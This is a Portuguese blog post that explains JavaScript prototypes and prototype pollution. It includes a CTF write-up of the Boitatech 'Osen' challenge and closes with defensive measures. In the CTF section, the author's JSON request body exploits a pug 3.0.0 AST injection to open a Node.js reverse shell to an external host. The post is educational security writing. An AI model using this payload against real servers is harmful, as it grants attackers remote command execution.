
O Que é o Prototype Pollution no JavaScript?
Introdução
JavaScript
é uma linguagem cheia de peculiaridades, e uma delas é o seu sistema de prototypes. Enquanto essa funcionalidade traz muita flexibilidade para a linguagem, ela também pode abrir brechas para ataques. Em um mundo onde a segurança de aplicações web é cada vez mais importante, entender como essas vulnerabilidades funcionam se torna essencial para qualquer desenvolvedor.
Recentemente, participei de um CTF da Boitatech
onde me deparei com um desafio envolvendo Prototype Pollution
, que também é conhecido como Prototype Poisoning
. Essa experiência me motivou a compartilhar um pouco sobre como essa vulnerabilidade funciona e por que devemos nos preocupar com ela. Vamos explorar desde os conceitos básicos de prototypes no JavaScript até como eles podem ser explorados para fins maliciosos, usando como exemplo prático um desafio do CTF.
Entendendo Objetos e o Prototype no JavaScript
Primeiramente, objetos no JavaScript são formas de organizar e agrupar dados e funcionalidades relacionadas. Eles são como “caixas” onde você pode guardar informações, chamadas de propriedades (como nome e idade), e ações, chamadas de métodos (como uma função que calcula algo).
let meu_objeto = {
nome: "JackSkelt",
apresentar() {
console.log(`Olá, eu sou ${this.nome}!`);
},
};
meu_objeto.apresentar(); // Olá, eu sou JackSkelt!
Você pode ir no console do seu navegador e criar um objeto qualquer (irei usar o exemplo anterior) e colocar o nome do objeto seguido de um ponto, por exemplo meu_objeto.
. Irá mostrar uma lista com várias propriedades e métodos, dentre eles os que você declarou e os outros que são auxiliares. Você pode tentar acessar algum deles, por exemplo o método toString
.
meu_objeto.toString(); // [object Object]
Mas de onde vêm essas propriedades e métodos?
Todo objeto no JavaScript tem propriedades já pré-estabelecidas, que são obtidas pelo que chamamos de prototype
. O prototype
(em português, protótipo
) é um jeito do JavaScript de compartilhar implementação de um objeto em outro, basicamente a herança da programação orientada a objetos.
O prototype em si é um objeto, que também tem seu próprio prototype, e isso é o que chamamos de prototype chain
, ou cadeia de protótipos
, que termina quando um prototype tem null
em seu prototype.
Object.getPrototypeOf({}); // Object { ... }
Object.getPrototypeOf([]); // Array []
Object.getPrototypeOf("teste"); // String { "" }
Object.getPrototypeOf(100); // Number { 0 }
Quando usamos o método toString
no meu_objeto
, o que o interpretador JavaScript faz é olhar se o método existe no objeto atual (meu_objeto
), se não existir, ele procura no seu prototype. Se não encontrar, ele procura no prototype do prototype (Object
), e assim sucessivamente até que o prototype seja null
.
Sei que talvez possa ser meio complicado entender essa imagem, coloquei mais detalhes pra mostrar a prototype chain, mas o que quero passar é que tudo tem um prototype, e cada prototype tem suas propriedades e métodos.
Você pode modificar os prototypes (mas não deveria)
É possível acessar o prototype de qualquer objeto no JavaScript usando o Object.getPropertyOf()
, descrito anteriormente, ou também utilizando a propriedade __proto__
. Podemos também chamar as classes globais como Array
, Object
, String
, etc, e usar a propriedade prototype
.
Com isso, podemos adicionar ou sobrescrever métodos e propriedades existentes, como por exemplo adicionar o método last
na classe Array
para retornar o último elemento
Array.prototype.last = function () {
return this[this.length - 1];
};
[(1, 2, 3, 4, 5)].last(); // 5
Só que você não deveria fazer isso, por mais que seja tentador por talvez deixar mais intuitivo ou ser mais fácil do que importar uma função.
Ao modificar um prototype, você pode estar causando conflitos com implementações de outra bibliotecas que fazem o mesmo e acabar quebrando uma certa funcionalidade pois sua implementação não faz exatamente a mesma coisa que a implementação da biblioteca.
Também, imagine que aquele método que você criou e que tanto precisava finalmente foi implementado na próxima versão da biblioteca, e agora você não precisa mais do prototype que criou, vai lá apagar ele e recebe vários erros. Ou se utilizar isso em uma biblioteca que outras pessoas usam pode ser ainda pior…
// ❌
Array.prototype.last = function () {
return this[this.length - 1];
};
[(1, 2, 3, 4, 5)].last(); // 5
// ✅
function getLast(arr) {
return arr[arr.length - 1];
}
getLast([1, 2, 3, 4, 5]); // 5
Prototype Pollution/Poisoning
O Prototype Pollution
(também conhecido como Prototype Poisoning
) é uma vulnerabilidade de segurança em JavaScript que ocorre quando um atacante consegue injetar propriedades ou métodos maliciosos no prototype de objetos nativos.
Como explicado anteriormente, você consegue mudar o prototype de qualquer estrutura no JavaScript, e dependendo de como os objetos são manipulados, isso pode dar a brecha para esse tipo de ataque, levando a exploits como RCE - Remote Code Execution
, onde o atacante consegue executar códigos maliciosos no servidor.
Esta vulnerabilidade é particularmente perigosa porque pode afetar não só o objeto que está sendo manipulado, mas todos os objetos que compartilham o mesmo prototype. Imagine como se fosse um vírus que, ao infectar um prototype, contamina todos os objetos que o utilizam como base.
Client-side e Server-side
Existem dois contextos em que esse ataque se encaixa: no lado do usuário (Client-side
), ou seja, no navegador, e no lado do servidor (Server-side
).
No lado do navegador
No ambiente do navegador, o Prototype Pollution
geralmente acontece durante a manipulação de dados que vêm de fontes externas. Quando um usuário interage com a aplicação, seja através de formulários, parâmetros na URL ou até mesmo dados armazenados localmente, existe a possibilidade de que informações sejam injetadas e acabem modificando o prototype de objetos do JavaScript.
Imagine uma aplicação que recebe dados de uma API e usa esses dados para construir a interface do usuário. Se um atacante conseguir manipular essa resposta e incluir propriedades que afetam o prototype, ele poderia alterar o comportamento padrão de objetos em toda a aplicação, caracterizando um XSS - Cross Site Scripting
, podendo levar ao roubo de dados sensíveis do usuário.
No lado do servidor
Já no lado do servidor, o cenário se torna significativamente mais crítico. Servidores geralmente têm acesso privilegiado a recursos do sistema e dados sensíveis, tornando um ataque bem-sucedido muito mais perigoso. Quando falamos de Prototype Pollution
no backend, geralmente estamos lidando com frameworks e bibliotecas que manipulam dados recebidos do cliente.
Um caso comum é quando o servidor recebe um JSON e precisa fazer operações como merge de objetos ou processamento de templates. Se essas operações não forem realizadas de maneira segura, um atacante pode injetar propriedades que modificam o prototype de objetos do JavaScript no servidor.
Bibliotecas populares como Lodash
e frameworks como Express.js
já tiveram vulnerabilidades relacionadas a Prototype Pollution. No caso do Lodash
, por exemplo, algumas versões antigas da função merge
permitiam que objetos maliciosos fossem mesclados de forma insegura, possibilitando a modificação de prototypes CVE-2018-16487
. Já no Express.js
, a manipulação inadequada de query strings podia levar a cenários similares.
Desafio CTF
Para o exemplo da vulnerabilidade, irei utilizar o desafio Osen
do CTF da Boitatech
de 2024, o qual participei. Ele é um pouco extenso, então para resumir, irei focar mais na parte em que se faz o uso do Prototype Pollution
no server-side.
router.post("/api/submit_players", (req, res) => {
const players = ["player1", "player2", "player3"];
const order = {};
players.forEach((player) => {
order[player] = {};
});
const data = req.body;
Object.keys(data).forEach((player) => {
Object.keys(data[player]).forEach((name) => {
order[player][name] = data[player][name];
});
});
if (
data.player1 &&
data.player1.includes("vsm") &&
data.player2 &&
data.player2.includes("gankd") &&
data.player3 &&
data.player3.includes("zetsu")
) {
return res.json({
response: pug.compile(
"span Hello #{user}, thank you for letting us know!"
)({ user: "guest" }),
});
} else {
return res.json({
response: "Please provide us with the full name of an existing player.",
});
}
});
Explicando o código
O código é de uma rota do Express.js
que recebe uma requisição do tipo POST
no caminho /api/submit_players
. O que dá para perceber é que ele recebe 3 jogadores nos campos player1
,player2
e player3
, e depois verifica os nomes, se player1
inclui "vsm"
, player2
inclui "gankd"
e player3
inclui "zetsu"
. Se todos os jogadores existirem, então ele retorna um sucesso com um Hello guest, thank you for letting us know!
Analisando um pouco mais, vemos que o código inicializa o objeto order
e depois inicializa objetos vazios para cada um dos jogadores, obtendo:
{
"player1": {},
"player2": {},
"player3": {}
}
Depois o código utiliza o corpo da requisição para iterar sobre as chaves, depois itera novamente só que com o valor dessas chaves pra aí sim fazer as atribuições no order
.
const data = req.body;
Object.keys(data).forEach((player) => {
Object.keys(data[player]).forEach((name) => {
order[player][name] = data[player][name];
});
});
E o resultado no order
será parecido com isso:
{
"player1": {
"0": "v",
"1": "s",
"2": "m"
}
//...
}
E essa é a parte vulnerável. Por padrão, o express usa o body-parser
para desserializar JSON, e este, por sua vez, usa o JSON.parse
. Esse método até então é seguro no sentido que não vai alterar diretamente nenhum prototype (você pode verificar em https://github.com/hapijs/hapi/issues/3916 e realizar seus próprios testes). Nesse caso, a chave __proto__
enviada seria desserializada como uma propriedade comum de um objeto, podendo ser acessada normalmente. No entanto, o problema surge quando você realiza manipulações subsequentes, como um shallow copy
usando Object.assign()
ou outros métodos de cópia — como o que este script está executando. Boom! É nesse momento que o prototype pollution
ou prototype poisoning
acontece.
AST Prototype Pollution
A segunda parte do código interessante é essa:
return res.json({
response: pug.compile("span Hello #{user}, thank you for letting us know!")({
user: "guest",
}),
});
Aqui é utilizado o pug
(antigamente conhecido como jade
), um template engine
para renderizar o HTML no lado do servidor, e a versão utilizada é a 3.0.0
, vulnerável a um ataque de prototype pollution no AST - Abstract Syntax Tree
, onde podemos causar um RCE
. No caso, eu utilizei um reverse shell
para conseguir acessar a máquina, e o corpo da requisição ficou da seguinte maneira:
{
"player1": "vsm",
"player2": "gankd",
"player3": "zetsu",
"__proto__": {
"block": {
"type": "text",
"line": "(function(){var net = process.mainmodule.require('net'),cp = process.mainmodule.require('child_process'),sh = cp.spawn('/bin/sh', []);var client = new net.socket();client.connect(41409, '<URL>', function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})()"
}
}
}
No momento que estou escrevendo esse post, a versão 3.0.3 do pug foi lançada com um patch para essa vulnerabilidade: https://github.com/pugjs/pug/pull/3438
Se quiser saber mais sobre a vulnerabilidade, veja: https://github.com/pugjs/pug/issues/3414
Como proteger o seu prototype
O que torna o Prototype Pollution
particularmente perigoso é que ele pode passar despercebido em análises de código, já que utiliza funcionalidades legítimas do JavaScript. Um desenvolvedor pode não perceber que uma simples operação de merge de objetos pode abrir brecha para um ataque se não for implementada corretamente (e muitos nem sabem sobre o shallow copy).
Sanitize seus objetos
Para se proteger contra Prototype Pollution
, existem várias estratégias que podem ser adotadas. A mais óbvia seria sanitizar as propriedades dos objetos antes de fazer uma operação de merge, por exemplo, assim evitando que um atacante injete chaves como __proto__
. O @hapi/boune é uma biblioteca que faz a substituição do JSON.parse()
com proteção contra Prototype Pollution
.
Object.freeze e Object.seal
Uma abordagem mais robusta é impedir completamente que os objetos prototype sejam alterados. O JavaScript nos oferece dois métodos para isso:
// Congela o objeto, impedindo modificações nas propriedades e seus valores
Object.freeze(Object.prototype);
// Similar ao freeze, mas permite alterar valores de propriedades existentes
Object.seal(Object.prototype);
Object.create(null)
Outra estratégia interessante é criar objetos que não herdam propriedades. Por padrão, todo objeto em JavaScript herda do Object.prototype
direta ou indiretamente através da cadeia de protótipos. Porém, podemos criar objetos com prototype nulo:
let objetoSeguro = Object.create(null);
Map e Set
Também podemos usar alternativas mais seguras como Map
e Set
, que não são afetados pelo Prototype Pollution
na hora de buscar uma propriedade. Por exemplo, ao usar um Map
:
Object.prototype.admin = true;
let opcoes = new Map();
opcoes.set("user", "JackSkelt");
console.log(opcoes.admin); // true
console.log(opcoes.get("admin")); // undefined
console.log(opcoes.get("user")); // "JackSkelt"
Ainda sim tenha cuidado. Isso evita que você acesse diretamente as propriedades ao usar o método
get
, mas não impede que o prototype ainda seja poluído.
Conclusão
A vulnerabilidade de Prototype Pollution
serve como um lembrete sobre o equilíbrio entre flexibilidade e segurança no desenvolvimento de software. O sistema de protótipos do JavaScript é uma característica essencial, mas também pode ser explorado de forma maliciosa quando não gerido adequadamente.
Participar do desafio no CTF da Boitatech
foi uma experiência enriquecedora que reforçou a importância de analisar profundamente o código, identificar pontos vulneráveis e compreender as implicações das decisões de design e implementação (e o que me incentivou a escrever esse artigo).
Como desenvolvedores, é nossa responsabilidade mitigar riscos aplicando boas práticas, como sanitização de dados, uso de bibliotecas atualizadas e outras técnicas para mitigar vulnerabilidades. Ao incorporar essas medidas, fortalecemos nossas aplicações contra exploits e contribuímos para um ecossistema de software mais seguro. Afinal, a segurança não é apenas uma funcionalidade, mas um pilar essencial de qualquer projeto moderno.
Fonte de pesquisa e artigos relacionados
- https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Objects/Object_prototypes
- https://prateeksurana.me/blog/how-javascript-classes-work-under-the-hood/
- https://flaviocopes.com/javascript-why-not-modify-object-prototype/
- https://fastify.dev/docs/latest/Guides/Prototype-Poisoning/
- https://book.hacktricks.xyz/pentesting-web/deserialization/nodejs-proto-prototype-pollution
- https://portswigger.net/research/server-side-prototype-pollution
- https://portswigger.net/web-security/prototype-pollution/preventing